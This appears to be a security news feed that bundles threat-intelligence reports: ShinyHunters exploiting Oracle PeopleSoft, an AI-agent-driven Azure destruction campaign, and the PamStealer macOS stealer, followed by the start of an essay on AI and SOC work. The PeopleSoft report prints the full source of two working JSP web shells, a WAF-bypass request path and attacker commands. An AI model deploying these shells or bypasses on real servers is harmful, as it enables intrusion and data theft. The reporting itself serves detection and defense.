Friday, September 25, 2026

ShinyHunters Renewed Mass Exploitation Campaign Targeting Oracle PeopleSoft

Introduction 

As an update to the June 2026 post, ShinyHunters Targets Education Sector with Oracle PeopleSoft Exploit, Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. In June, the threat actor exploited this vulnerability as a zero-day predominantly against academic institutions. This new wave of activity stems from UNC6240 modifying its exploit to bypass web application firewall (WAF) rules blocking the vulnerable Environment Management Hub (PSEMHUB) endpoint.

The threat actor bypassed these string-based WAF rules by URL-encoding a single character in the request path, requesting /%50SEMHUB/ in place of /PSEMHUB/. Many WAF and reverse proxy rules match the literal path before URL decoding, while the PeopleSoft application server decodes the request and routes it to the vulnerable servlet. This allows the threat actor to reach the endpoint on systems whose operators may have believed their WAF rules had mitigated the exposure.

Our analysis indicates that the threat actor expanded their targeting in this recent campaign, deploying web shells on dozens of systems globally, spanning higher education, technology, IT services, healthcare, agriculture, transportation, and government.

Mandiant recommends that organizations running Oracle PeopleSoft take the following immediate actions. Additional remediation and hardening guidance is included later in this post.

Remediation and Hardening Quick Guide

  1. Apply the Oracle Security Alert patch for CVE-2026-35273. WAF rules and path-based blocking are not a substitute for patching.
  2. Disable the Environment Management Hub (EMHub) service in multi-server configurations, or remove the PSEMHUB application entirely in single-server configurations, as advised in Oracle's security alert guidance.

  3. Search PIA WebLogic access logs for requests to /PSEMHUB/ and any percent-encoded variant (for example, /%50SEMHUB/), particularly POST requests to /hub and requests to .jsp files from external source IP addresses.

  4. Inspect <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/ for files that are not part of the shipped product, including but not limited to x.jsp, u.jsp, tunnel.jsp, tunnel.jspx, and Ple64.exe.

  5. Rotate credentials readable by the PeopleSoft application service account, including database connection strings in psappsrv.cfg, Integration Broker credentials, and any cloud credentials reachable from the web tier.

  6. Monitor outbound traffic from PeopleSoft hosts to the network indicators listed in this post, and review endpoints for unexpected MeshCentral agents.

Figure 1: Remediation and hardening quick guide

Background: From Zero-Day to N-Day

In June 2026, we reported a UNC6240 campaign that exploited CVE-2026-35273 as a zero-day between May 27 and June 9, 2026, predominantly against higher education institutions. Oracle released an out-of-band Security Alert on June 10, 2026. Mandiant’s June guidance recommended patching and, where patching or disabling EMHub was not immediately possible, blocking external access to /PSEMHUB/* at the perimeter, noting that WAF body-inspection rules alone were insufficient.

The current campaign demonstrates that UNC6240 adapted to published defensive guidance, targeting organizations that implemented WAF rules but did not patch the vulnerability.  

Attack Lifecycle

We observed a consistent sequence of events in targeted PeopleSoft environments, progressing from discovery and verification to web shell deployment and hands-on-keyboard activity.

Target Verification

Before exploitation, targeted servers typically received five to 15 POST requests to /%50SEMHUB/hub containing a serialized Java object. Unpatched servers respond with the host operating system without writing files or disrupting the service, allowing the threat actor to quietly confirm exploitability. On hosts that the threat actor validated but did not yet exploit, organizations may see this request in logs, with no follow-on activity.

WAF Bypass

All requests addressed the vulnerable servlet through a url-encoded path. %50 is the encoded form of the character P. WAF and proxy rules that match the literal string /PSEMHUB before decoding do not match /%50SEMHUB/, while WebLogic decodes the path and serves the application normally.

Defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/, and should enforce blocking on the normalized path.

PSEMHUB WAF bypass

Figure 2: PSEMHUB WAF bypass

Exploitation

We observed two exploitation methods, both abusing Java deserialization in the PSEMHUB hub servlet:

  • Web shell deployment. To access web shells behind some load balanced environments, the threat actor sent a burst of multiple POST requests to /%50SEMHUB/hub, followed by the creation of a new JSP files, such as x.jsp, or sequentially numbered JSP files in the PSEMHUB.war directory. The repetition likely ensures that every node behind a load balancer receives a copy of the web shell, so organizations should check all WebLogic nodes, not only the first one identified.

  • Fileless command execution. POST requests to /%50SEMHUB/hub that return command output directly in the HTTP response, with no file written to disk. On the host, this appears as shell processes (cmd.exe or /bin/sh) spawned by the WebLogic Java process. Detections that rely on JSP file creation will not identify this method.

Post-Exploitation Tooling

Dual Web Shells

To establish persistent access and stage follow-on payloads, the threat actor deployed two complementary, single-line JSP web shells into the PSEMHUB.war directory. Both shells were designed to minimize web application firewall (WAF) detections during post-exploitation.

The primary shell, x.jsp, provides cross-platform command execution. Rather than passing cleartext commands in URL query strings, x.jsp accepts hex-encoded commands via HTTP POST (c) along with an optional execution timeout (t). It automatically detects the underlying operating system, spawning cmd.exe on Windows or reconstructing /bin/sh from an ASCII character array on Linux to avoid static string signatures, and returns the process output prefixed with R:.

<%@ page import="java.util.*,java.io.*" %><%
String h = request.getParameter("c");
String ts = request.getParameter("t");
if (h != null) {
  int t = ts != null ? Integer.parseInt(ts) : 30;
  StringBuilder cs = new StringBuilder();
  for (int i = 0; i + 1 < h.length(); i += 2) {
    cs.append((char) Integer.parseInt(h.substring(i, i + 2), 16));
  }
  String c = cs.toString();
  boolean wn = System.getProperty("os.name").toLowerCase().contains("win");
  Process p = new ProcessBuilder(
      wn ? new String[]{"cmd.exe", "/c", c}
         : new String[]{new String(new char[]{47,98,105,110,47,115,104}), "-c", c}
  ).start();
  InputStream a = p.getInputStream();
  InputStream g = p.getErrorStream();
  byte[] b = new byte[8192];
  int n;
  StringBuilder sb = new StringBuilder();
  long end = System.currentTimeMillis() + t * 1000L;
  while (System.currentTimeMillis() < end) {
    if (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
    else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
    else {
      try { p.exitValue(); break; }
      catch (IllegalThreadStateException e2) {
        try { Thread.sleep(40); } catch (Exception e3) {}
      }
    }
  }
  while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
  while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
  out.print("R:" + sb.toString());
}
%>

Figure 3: x.jsp cross-platform command execution web shell (formatted for readability)

When staging larger binaries on compromised Windows hosts, the threat actor deployed a second servlet, u.jsp (along with an offset-based variant, u2.jsp). This shell decodes Base64-encoded file chunks (a) and writes or appends them (m) to a target path (n) in 150 KB increments, bypassing HTTP request-size limits and avoiding PeopleSoft's native FILECHUNKING handlers. It also includes a secondary parameter (x) to execute cmd.exe commands once file reassembly is complete.

<%@ page import="java.util.*,java.io.*,java.nio.file.*" %><%
String n = request.getParameter("n");
String a = request.getParameter("a");
String m = request.getParameter("m");
if (n != null && a != null) {
  try {
    byte[] b = java.util.Base64.getDecoder().decode(a);
    if ("a".equals(m)) {
      java.io.FileOutputStream f = new java.io.FileOutputStream(n, true);
      f.write(b);
      f.close();
    } else {
      java.nio.file.Files.write(java.nio.file.Paths.get(n), b);
    }
    out.print("W:" + b.length);
  } catch (Exception e) {
    out.print("E:" + e);
  }
}
String x = request.getParameter("x");
if (x != null) {
  try {
    ProcessBuilder pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", x});
    pb.redirectErrorStream(true);
    Process p = pb.start();
    java.io.InputStream i = p.getInputStream();
    byte[] buf = new byte[8192];
    int k;
    StringBuilder sb = new StringBuilder();
    long end = System.currentTimeMillis() + 12000;
    while (System.currentTimeMillis() < end) {
      if (i.available() > 0) {
        k = i.read(buf);
        if (k > 0) sb.append(new String(buf, 0, k));
      } else {
        try { p.exitValue(); break; }
        catch (Exception e2) { Thread.sleep(30); }
      }
    }
    out.print("R:" + sb.toString());
  } catch (Exception e) {
    out.print("X:" + e);
  }
}
%>

Figure 4: u.jsp chunked file upload and execution web shell (formatted for readability)

Trojanized Installer and Multi-Stage Backdoor (Ple64.exe)

On compromised Windows servers, the threat actor used u.jsp (and u2.jsp) to upload and execute a 5.2 MB binary named Ple64.exe (tracked as SIDEEYE) inside the PSEMHUB.war directory. While Ple64.exe masquerades as a signed installer for the Light Alloy media player, analysis revealed that it is a trojanized installer containing a three-stage execution chain that loads SIDEEYE in memory. The analyzed sample was signed with a valid Extended Validation (EV) certificate issued to Tobias Weihmann Software Development OU via Sectigo. GTIG has contacted Sectigo for revocation of this certificate.

When executed, Ple64.exe (Stage 1) decompresses and loads a VMProtect 3 (VMP3)-protected second-stage launcher into memory. This launcher decrypts additional data blocks embedded within Ple64.exe and loads and executes the third stage in memory. Stage 3 is the SIDEEYE C++ backdoor that communicates with its command-and-control (C2) server (162[.]219[.]30[.]165) over raw TCP using separate control (TCP/3333) and data (TCP/3334) ports. 

Initial analysis indicates that SIDEEYE supports:

  • Browser and desktop application credential theft

  • Process and file management

  • Interactive reverse shell and reverse proxy capabilities

After uploading the binary in chunks via u.jsp, the threat actor verified the reassembled file size on disk, launched Ple64.exe as a background process, and confirmed that it remained running:

dir applications\peoplesoft\PSEMHUB.war\Ple64.exe
for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF
cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe
tasklist | findstr /i Ple64

Figure 5: Threat actor verifying upload and execution of the trojanized Ple64.exe (SIDEEYE) backdoor

Tunneling with Neo-reGeorg

Alongside the deployment of Ple64.exe, the threat actor staged the open-source Neo-reGeorg tunneling toolkit and deployed its tunnel.jsp and tunnel.jspx servlets into victim web directories. This toolkit routes SOCKS5 proxy traffic through ordinary HTTP and HTTPS connections to the web tier, enabling internal discovery and lateral movement from the PeopleSoft host.

MeshAgent 

To establish persistent access after web shell placement on Linux systems, UNC6240 deployed the legitimate RMM tool MeshAgent. 

In earlier May and July 2026 intrusions, the actor dropped unencrypted agent binaries and configuration files directly into /tmp (meshagent, meshagent.msh, and meshagent.db) under the PeopleSoft service account, routing outbound connections to Microsoft-masquerading domains including azurenetfiles.net, microsoft-entra.net, and enroll.azuredevice.cloud. 

In September 2026 intrusions, UNC6240 continued to use IT-themed infrastructure associated with MeshAgent (winmanage-me.network on 104.219.234.138) for secondary staging and management.

MeshCentral is a legitimate open-source remote management platform that threat actors, including UNC6240, use to maintain interactive access to victim systems over web sockets.

Observed Post-Exploitation Commands

Across compromised instances, a quarter of the threat actor's commands executed as root or NT Authority\SYSTEM, granting full control of the operating system. The remaining commands were executed under PeopleSoft or WebLogic service accounts, which still provide access to PeopleSoft configuration files, database connection strings, and application data. 

Command activity through the web shells fell into several categories:

  • Host and user discovery, including hostname and whoami.

  • Process verification, polling process listings with tasklist to verify payload execution.

An example web shell request using the encoded path follows:

GET /%50SEMHUB/<webshell>.jsp?c=id;hostname;uname+-a HTTP/1.1

Figure 6: Example web shell request

Remediation and Hardening

Patch and Reduce Exposure

Apply the Oracle Security Alert for CVE-2026-35273 and remain on supported PeopleTools versions. Disable the EMHub service if it is not used for patching or remove the PSEMHUB application. EMHub and the Integration Broker listening connector are administrative and system-to-system components, and restricting them from public internet access is non-breaking for standard PeopleSoft Internet Architecture (PIA) user sessions.

Log and Endpoint Monitoring

Search PIA WebLogic access logs for requests to /PSEMHUB/ and encoded variants, POST requests to /hub with bodies from external sources, and requests to unexpected .jsp or .jspx files under PSEMHUB or PORTAL. On hosts, alert on shell processes (cmd.exe, /bin/sh, bash) spawned by the WebLogic Java process, particularly those invoking base64 -d, curl, /dev/tcp, tasklist, or start /b.

Host-Level Auditing

Scan PSEMHUB.war/ and PORTAL.war/ for unexpected .jsp, .jspx, and .exe files, inspect .../PSEMHUB.war/envmetadata/transactions/ for unauthorized content, and check for unexpected MeshCentral agents. Organizations that identify a web shell should treat the host as compromised, preserve evidence, and rotate all credentials accessible from the PeopleSoft tier, prioritizing hosts where the WebLogic service runs as root or SYSTEM.

Hunt for Evidence of Data Theft 

Review PeopleSoft and database hosts for large archive files (.tar, .tar.gz, .zst) in temporary or web-accessible directories, and for tar, zstd, rsync, sshpass, or curl processes spawned by the PeopleSoft or WebLogic service accounts. Review database audit logs for bulk queries or exports against HR, payroll, and student records tables, and network logs for large or sustained outbound transfers from the PeopleSoft tier, including rsync (TCP 873), SSH, and HTTP POST traffic to the network indicators listed in this post. 

Prepare for Extortion

UNC6240 has a well-established pattern of data theft extortion, that is, stealing data and threatening to release it on a data leak site unless the victim pays a ransom. Affected organizations should prepare for extortion communications and monitor for potential public exposure of stolen data.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI collection for registered users.

Network Indicators

Indicator

Type

Description

5.199.162.157

IPv4

Attack controller, scanner, and HTTP callback receiver

104.219.234.138

IPv4

Exfiltration staging and remote management host

162.219.30.165

IPv4

C2 for SIDEEYE backdoor

winmanage-me.network

Domain

Resolves to staging host; MeshCentral infrastructure

Table 1: Network indicators

Host Indicators

<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/x.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/u.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/Ple64.exe
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/tunnel.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/tunnel.jspx

Figure 7: Host indicators

URI pattern: /%50SEMHUB/ (percent-encoded WAF bypass path; defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/ and enforce blocking on the normalized path).

File Indicators

File Name

SHA-256

Description

x.jsp

48b4a0827da7bbfce9fb52464f8a659dea7a035189c52c506c0bfb4b1c3fe494

Primary execution web shell; hashes will vary due to extra newline characters.

u.jsp

2bee941fb40519d0d1ec52bd79a8f63fc65aac6455c8f2d6b668e3360dfdb5d7

Execution stager servlet

tunnel.jsp

419c571ee38b7e7266d130c4b6bbc4dd0ef44d6e5f3bc02cc2cf73b762f07c86

Neo-reGeorg JSP tunnel (open-source). Hashes will vary by key used.

tunnel.jspx

ba14419beb2ec0bb94cab6298c14d7fb3e1d819366fe378290c0c2a4d97f7e07

Neo-reGeorg JSPX tunnel (open-source). Hashes will vary by key used.

Ple64.exe

3ba215692665513abfffd4e815c5c45f2d41e5dcc4283a2a3b740930c5c417c3

Trojanized installer delivering SIDEEYE backdoor

Table 2: File indicators

Google Security Operations 

Google Security Operations customers will have access to the following rules. These rules will be available under the Mandiant Frontline Threats rule pack:

  • Oracle PeopleSoft Configuration Inspection

  • Sshpass Interactive File Deployment

  • Data Archiving or Compression via Zstd Utility

  • MeshCentral Command Execution via Meshctrl

Pending deployment in the Mandiant Frontline Threats rule pack:

  • Oracle PeopleSoft Suspicious File Write to Web Application Archive Directory

MITRE ATT&CK Mapping

Tactic

Technique

Reconnaissance

T1596.003 Search Open Technical Databases: Digital Certificates

Reconnaissance

T1596.005 Search Open Technical Databases: Scan Databases

Reconnaissance

T1595.002 Active Scanning: Vulnerability Scanning

Initial Access

T1190 Exploit Public-Facing Application

Defense Evasion

T1027 Obfuscated Files or Information

Execution

T1059.003 Command and Scripting Interpreter: Windows Command Shell

Execution

T1059.004 Command and Scripting Interpreter: Unix Shell

Persistence

T1505.003 Server Software Component: Web Shell

Discovery

T1082 System Information Discovery

Discovery

T1016 System Network Configuration Discovery

Credential Access

T1552.001 Unsecured Credentials: Credentials In Files

Command and Control

T1090 Proxy

Command and Control

T1219 Remote Access Software

Exfiltration

T1048 Exfiltration Over Alternative Protocol

Table 3: MITRE ATT&CK



from Threat Intelligence https://ift.tt/fxbdNep
via IFTTT

Storm-3168: Agentic-driven cloud attacks using compromised service principals

Microsoft Security Research has identified malicious cloud activity associated with JADEPUFFER, a threat actor discovered by Sysdig in July 2026 and reported to be the first documented agentic ransomware operation. Our investigation found an extensive Azure-focused resource destruction activity using compromised service principals and cloud credential collection that could be used to facilitate future exfiltration.

These findings expand the publicly documented activity associated with JADEPUFFER, tracked by Microsoft as Storm-3168, demonstrating an evolution in the threat actor’s cloud operations and providing the first detailed view into its Azure activity. We identified bulk destructive operations in a compromised Azure environment. The destructive operations were facilitated by compromising service principals and targeted Azure Storage Accounts, SQL databases, Key Vaults, Function Apps, recovery protection locks, Virtual Machines, and App Services.

Organizations can reduce exposure by protecting workload identities and secrets, enforcing least privilege, safeguarding recovery resources, and enabling relevant Microsoft Defender for Cloud protections. Publicly exposed credentials remain usable until revoked or rotated; removing the original disclosure alone does not remediate the exposure.

This activity highlights a broader shift toward AI-orchestrated attacks, where threat actors can coordinate complex post-compromise operations across cloud environments with greater speed and scale. As these capabilities evolve, defenders must similarly use AI to investigate and respond across large environments. Rather than requiring analysts to manually follow each individual action, efforts such as Project Perception and MDASH are intended to support a model in which defenders can investigate and respond across increasingly large and complex environments using AI.

Attack overview

Microsoft observed two compromised service principals belonging to the same tenant. One performed reconnaissance and resource discovery. The other performed discovery, destructive operations, and credential collection.

Discovery before destruction

For the impacted tenant, in early June 2026, one of the compromised service principals enumerated Azure Virtual Machines, subscriptions, resource groups and resources for about 15 hours and 30 minutes with 300+ successful read operations. This breadth of activity would give the threat actor visibility across the organization’s Azure environment.

About 90 minutes after the first compromised service principal started enumeration, the second compromised service principal enumerated virtual machines and resource groups across two subscriptions in five seconds. Both service principals used Storm-3168 linked infrastructure, the same network fingerprint, and the user agent python-requests/2.34.2.

16 hours later, the second service principal successfully enumerated Azure App Service configuration stores, possibly looking for exposed credentials. It also unsuccessfully attempted to look for Azure OpenSearch resources.

70 seconds after this final inventory operation, the same service principal also attempted a ListKey operation against a non-existent storage account.

A seven-minute destructive sequence

Less than one second after the unsuccessful ListKey operation against a non-existent storage account, the second compromised service principal began with its destructive activities. This compromised service principal then attempted 150+ destructive or credential collection related operations in 35 minutes.

The destructive sequence lasted for about 7 minutes. This involved 100+ storage account deletion attempts. Most Azure Storage accounts targeted by the threat actor were successfully deleted. However, Azure resource locks and storage account-level deletion protection blocked deletion attempts for few of the storage accounts, demonstrating the value of independent safeguards that remain effective even when a compromised identity has broad administrative permissions. An Azure Key Vault, Function App, App service plan were also deleted, all of which belonged to the same resource group and appeared to support the Function app.

The same service principal also attempted to delete multiple Azure SQL databases in parallel with the storage account deletions mentioned earlier, but every deletion attempt failed because it used an unsupported API version for the Azure SQL database resource type.

Multiple unsuccessful deletion attempts were also made against Azure Site Recovery locks and Azure Backup protection locks protecting storage accounts.

Credential collection

About 30 minutes after the final destructive activity, the same service principal made an inventory request for Azure Storage Accounts and sent 30+ successful ListKeys requests, asking ARM to return each storage account’s access keys. These storage accounts included Azure Site Recovery related storage accounts.

Technical analysis

Possible initial access

  • Credential exposure: While it is unclear how the service principal was initially compromised, its client ID, client secret, and tenant ID had previously been exposed in plaintext in a public GitHub issue by an employee of the impacted organization. The issue was later edited to remove the secret, but the secret remained accessible through the issue’s public edit history. Removing or redacting an exposed secret does not invalidate it; credentials exposed in any public internet location should be treated as compromised and promptly revoked or rotated. We could not confirm whether this secret was used for the activity described here.
  • Application Probing: Since the beginning of this year, we also observed repeated probing from Storm-3168 linked infrastructure against multiple Azure App services for different customers, against sensitive paths related to WordPress administration, PHP-CGI, LangFlow’s code validation endpoint (/api/v1/validate/code) and other web-shell like paths. However, the App Service targets did not overlap with the affected Azure subscriptions, and we found no App Service to ARM (Azure Resource Manager) credential path for the impacted tenant.

Coordinated automation

The timing between the different operations and the division of work using multiple service principals and overlapping token streams from the same service principal strongly indicates automated or scripted execution.

We observed five unique tokens issued for the service principal used for destruction and credential collection – four tokens supported deletion, while the fifth token handled storage inventory and key retrieval. Two of the tokens used for deletion were active during the same 70 second period. While one of these tokens focused on Storage account deletion, the other focused on a mixture of Storage and SQL deletion.

While the Key Vault, Function App, and App Service plan associated with the same application were deleted, a similarly named storage account in the same resource group was spared and later targeted by the compromised service principal through a successful ListKeys operation.

The operations followed the identity’s existing Azure role assignments. A group-granted Storage Account Contributor role authorized the destructive storage operations. Direct Contributor access authorized the three application-resource deletions and the one additional successful key retrieval. Direct SQL DB Contributor access authorized the multiple SQL deletion attempts, which were ultimately unsuccessful because of the unsupported API version used for the Azure SQL Database resource type.

Destructive activity indicative of a ransomware-aligned objective

The threat actor deleted numerous Azure resources, while also targeting backup and recovery related resources such as Azure Site Recovery locks or Azure Storage Accounts which had terraform and backup themed names, potentially intending to impair the victim’s ability to recover from the destructive activity.

The parallel targeting of Azure SQL databases and storage accounts suggests an effort to broaden the destructive impact across different data services rather than concentrating on a single resource type. Although the database deletions were unsuccessful, their inclusion in the same destructive sequence provides additional insight into the intended scope of the activity.

The compromised service principal also made multiple attempts to retrieve storage account keys, which could provide access to sensitive data.

Taken together, the resource destruction, attempts to interfere with recovery mechanisms, and collection of credentials that could provide access to data are consistent with tactics that can support ransomware and extortion operations.

However, we did not observe a ransom note or confirm successful data exfiltration in the activity described here.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the risk and impact of activity similar to that observed in this campaign:

  • Enable appropriate Microsoft Defender for Cloud plans for critical Azure workloads. Consider enabling workload protections relevant to the resources in your environment, including Defender for Resource Manager, Defender for Storage, Defender for Key Vault, Defender for App Service and Defender for Databases. Learn more in the Microsoft Defender for Cloud overview.
  • Protect and continuously assess application credentials and secrets. Avoid storing service principal credentials, storage keys, connection strings, and other secrets in source code, configuration files, public repositories, issues, or other locations where they might be inadvertently exposed. Learn more in the Microsoft Entra Workload ID documentation.
  • Rotate compromised or exposed credentials immediately and establish credential lifecycle practices. Treat credentials that have been publicly exposed as compromised, even if the original location has subsequently been edited or deleted. Removing the content does not invalidate the credential or eliminate copies retained in edit history, caches, archives, logs, or other systems. Immediately revoke or rotate the affected credentials and investigate their historical use. Where supported, organizations should favor mechanisms that reduce reliance on long-lived credentials. Learn more about protecting secrets with Defender for Cloud.
  • Apply least privilege to service principals and other workload identities. Review the Azure RBAC permissions assigned to service principals and restrict their privileges to the resources and operations required by their applications. Learn more about best practices for Azure RBAC.
  • Protect backup and recovery infrastructure as part of ransomware resilience. Restrict access to backup and recovery resources and closely monitor attempts to modify or remove their protection controls. Learn more about Azure Backup security best practices.
  • Scale investigation and response with agentic defenses. Use Project Perception to help defenders deploy AI agents that investigate and respond across large, complex environments at machine speed.
  • Strengthen security posture for AI applications and agentic systems. Use Microsoft Defender for AI Security (codename MDASH) to discover AI assets, identify vulnerabilities and misconfigurations, and reduce exposure to AI-related attack paths.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below.

TacticAlert nameDefender for Cloud Coverage
Collection, ExfiltrationPossible data exfiltration detectedDefender for App Services
Exfiltration– An abnormally large number of rows were extracted from an SQL server
– Unusual volume of data extracted (Azure Cosmos DB)
– Access from an unusual location
Defender for Databases
Persistence, Execution, Command and ControlCommunication with suspicious domain identified by threat intelligenceDefender for DNS
Exfiltration– Unusual amount of data extracted from a storage blob container
– Unusual number of blobs extracted from a storage blob container
– Unusual amount of data extracted from a sensitive blob container
– Unusual amount of data extracted from a storage file share
– Unusual number of files extracted from a storage file share
Defender for Storage
Initial Access– Access from a known suspicious IP address to a sensitive blob container
– Access from a suspicious IP address
– Access from a known suspicious IP address to a sensitive storage file share
Defender for Storage
Defense EvasionAzure Resource Manager operation from suspicious proxy IP addressDefender for Resource Manager
Credential Access– Unusual operation pattern in a key vault
– High volume of operations in a key vault
– Unusual application accessed a key vault
Defender for Key Vaults

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across cloud endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

  • Incident investigation
  • Microsoft User analysis
  • Threat actor profile
  • Threat Intelligence 360 report based on MDTI article

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR Threat analytics

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat threat.

MITRE ATT&CK Techniques observed

The following MITRE ATT&CK mappings reflect behaviors observed during this activity.

  • T1190 Exploit Public-Facing Application | Storm-3168 linked infrastructure repeatedly probed sensitive application paths on applications hosted in Azure App Service for potential exploitation.
  • T1078.004 Valid Accounts: Cloud Accounts | Compromised service principals were used for Azure resource discovery and destruction.
  • T1526 Cloud Service Discovery | The identities enumerated subscriptions, virtual machines, resource groups, Azure Storage, Web Apps, App Service plans, locks, and Recovery Services.
  • T1485 Data Destruction | Azure Storage, Key Vault, Function App, and App Service plan resources were deleted. Azure SQL deletion was also attempted, extending the destructive objective toward databases.
  • T1490 Inhibit System Recovery | Site Recovery disk locks and an Azure Backup protection lock were targeted for deletion

Indicators of compromise (IOC)

IndicatorTypeDescription
45.131.66[.]106IPv4App Service probing and malicious ARM requests
34.153.223[.]102IPv4App Service probing
64.20.53[.]230IPv4App Service probing

References

Learn More

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

The post Storm-3168: Agentic-driven cloud attacks using compromised service principals appeared first on Microsoft Security Blog.



from Microsoft Security Blog https://ift.tt/Hv2elNL
via IFTTT

PamStealer macOS Malware Adds Live C2 Payload Decryption and Multi-Layer Persistence

Cybersecurity researchers have flagged a new version of PamStealer that ensures that the main payload can only be recovered using a server-side decryption chain.

The latest artifacts, per Jamf Threat Labs, continue to rely on the same JavaScript for Automation (JXA) dropper mechanism, but modify the lure and the delivery method.

"Where earlier variants embedded their payload key material directly in the JXA source, it now fetches a purpose-built decryption utility and completes a key exchange with the server before the payload can be unwrapped," security researcher Thijs Xhaflaire said in an analysis. "Without the server's cooperation, the payload cannot be recovered statically."

A second major change is the choice of the decoy itself. While previous versions observed in July and August 2026 were observed using fake websites masquerading as Maccy, Scoppr, and Nancy Clipboard, victims are now lured through a bogus website ("wavel[.]app") advertising a non-existent cryptocurrency wallet service named Wavel.

Clicking the "Download for macOS" button on the fake site leads to the retrieval of a disk image file ("Wavel.dmg") that contains a compiled AppleScript file. Opening the file launches Apple's built-in Script Editor with instructions to trigger the execution of a JXA dropper.

"In Maccy, Scoppr and Nancy, the JXA source performed RC4 decryption of an embedded payload, made Objective-C framework calls through JXA's bridge to Foundation and NSData, and managed the entire download and staging process," Xhaflaire explained.

"In Wavel, the JXA source contains none of that. The entire JXA layer is now a carrier. When Script Editor executes the file, it decodes the base64 string and pipes the result into /bin/zsh -s, where zsh reads and executes the decoded bytes from standard input. The JXA process exits immediately; the zsh dropper continues in the background."

The decoded zsh script is takes the infection forward by carrying out the following actions -

  • Downloading and invoking the "pkgunpack" decryption utility from "wavel.apple03cloudstore[.]com"
  • Performing the X25519 key exchange
  • Decrypting and staging the payload bundle
  • Suppressing macOS notifications that alert users when a new background login item is added
  • Installing four redundant persistence methods via LaunchAgent, a repair zsh script that restores both the payload bundle and the LaunchAgent if not present, and a shell hook appended to ~/.zshrc that triggers the execution of the repair script on every new interactive zsh session
  • Polling for and uploading the staging directory in the form of a ZIP archive

Because the server holds the private key that completes the key exchange process, the Data Encryption Key (DEK) cannot be recovered without it, thereby preventing the payload from being decrypted. Furthermore, given that a new ephemeral keypair is generated during every execution, a captured DEK value cannot be replayed to extract the contents of the payload.

This, in turn, renders the encrypted payload effectively useless for static analysis without access to a live command-and-control (C2) session.

Ephemeral key generation and a live DEK exchange

What's more, the repair script is copied to "post-checkout" and "pre-commit" folders within "~/Library/Application Support/System/.githooks/," with the Git configuration option "git config --global core.hooksPath" set to the directory. As a result, any git checkout or git commit action in any repository on the compromised system will silently activate the repair script.

The final stage is the stealer component written in Swift, marking a departure from the predecessor, which was implemented in Rust. Despite the change in the programming language used, the end goal is the same -

  • Capture system password by serving a fake crash dialog and cross-checks the entered information using a PAM-based validation approach
  • Enumerate and retrieve keychain items
  • Steal credentials from Chromium- and Firefox-based browsers, including Google Chrome, Microsoft Edge, Mozilla Firefox, Brave, Vivaldi, Opera, Opera GX, Arc, Zen, Waterfox, LibreWolf, Yandex Browser, and Cốc Cốc
  • Fingerprint the system and gather extensive metadata and user's profile photo
  • Collect user-centric files like .zsh_history, .zshrc, .bash_history and .gitconfig
  • List running processes and installed applications

"The inclusion of Arc, Zen and the less common regional and privacy-focused browsers extends the target list noticeably beyond what is typical in commodity macOS stealers," Xhaflaire said.

"This variant of PamStealer reflects a deliberate investment in delivery infrastructure. The pkgunpack utility introduces a live key exchange that ties payload decryption to server availability: without C2 cooperation, the second stage cannot be decrypted. That design makes static recovery of the payload significantly harder and shifts part of the operational control to the server operator."



from The Hacker News https://ift.tt/MGL6b0X
via IFTTT

The SOC Doesn't Need to Start Over with Every Alert

Security leaders keep debating whether AI will produce an entirely new class of cyberattack. The nearer change is quieter and already visible: AI has made a failed attack cheap to retry.

The routine version looks like this. An attacker lands on a low-privilege cloud account, and the first try at privilege escalation goes nowhere. That dead end used to cost hours of documentation reading, permission checks, and script debugging, and plenty of operators simply got stuck. With a model in the loop, the error gets explained, the script gets fixed, and a fresh enumeration path is under test within minutes.

